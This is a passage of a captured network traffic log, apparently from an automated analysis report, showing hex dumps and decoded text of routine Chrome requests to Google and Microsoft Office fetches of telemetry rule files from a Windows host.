2024-11-18 03:41:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30aa96c6-b01e-0070-529f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034118Z-164f84587bf7jb9dhC1DFWkay400000004x0000000009t7c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49741	142.250.186.164	443	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 03:41:18 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Dt-j2P6P7GmM7iKFC5O0LA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 03:41:18 UTC	112	IN	Data Raw: 33 32 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 61 79 6c 6f 72 20 73 77 69 66 74 20 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 20 63 68 69 65 66 73 20 67 61 6d 65 22 2c 22 70 72 61 67 75 65 20 70 72 6f 20 6f 70 65 6e 20 62 6f 64 79 62 75 69 6c 64 69 6e 67 20 72 65 73 75 6c 74 73 22 2c 22 61 6d 61 7a 6f 6e 20 62 6c 61 63 6b 20 66 72 69 Data Ascii: 321)]}'["",["taylor swift buffalo bills chiefs game","prague pro open bodybuilding results","amazon black fri
2024-11-18 03:41:18 UTC	696	IN	Data Raw: 64 61 79 20 64 65 61 6c 73 22 2c 22 75 66 6f 20 73 68 6f 74 20 64 6f 77 6e 20 6f 6e 20 6c 61 6b 65 20 68 75 72 6f 6e 22 2c 22 73 68 69 62 61 20 69 6e 75 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 20 68 75 72 72 69 63 61 6e 65 20 73 61 72 61 22 2c 22 6c 65 6f 6e 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 73 22 2c 22 61 72 63 61 6e 65 20 73 65 61 73 6f 6e 20 32 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 Data Ascii: day deals","ufo shot down on lake huron","shiba inu price prediction","tropical storm hurricane sara","leonids meteor showers","arcane season 2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoR
2024-11-18 03:41:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49746	142.250.186.164	443	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 03:41:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 03:41:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 03:41:18 UTC	360	IN	Data Raw: 31 65 38 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e8b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700292,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-18 03:41:18 UTC	577	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-18 03:41:18 UTC	396	IN	Data Raw: 31 38 35 0d 0a 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 51 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 51 64 28 5f 2e 4d 64 3f 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 Data Ascii: 185/.test(a))];_.Qd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Rd\u003dnew _.Qd(_.Md?_.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){return a\u003d\u003dnull?a:Number.i
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 56 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 55 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 55 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 Data Ascii: 8000if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Vd\u003dfunction(){let a\u003dnull;if(!Ud)return a;try{const b\u003dc\u003d\u003ec;a\u003dUd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})
2024-11-18 03:41:18 UTC	1378	IN	Data Raw: 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 55 64 5c 75 30 30 33 64 5f 2e 4d 64 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 61 65 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c Data Ascii: a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Ud\u003d_.Md;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};ae\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.l

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034118Z-16547b76f7fsq6p7hC1DFWfx6800000003m000000000q2fm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49747	142.250.186.164	443	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 03:41:18 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 03:41:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 03:41:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-18 03:41:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
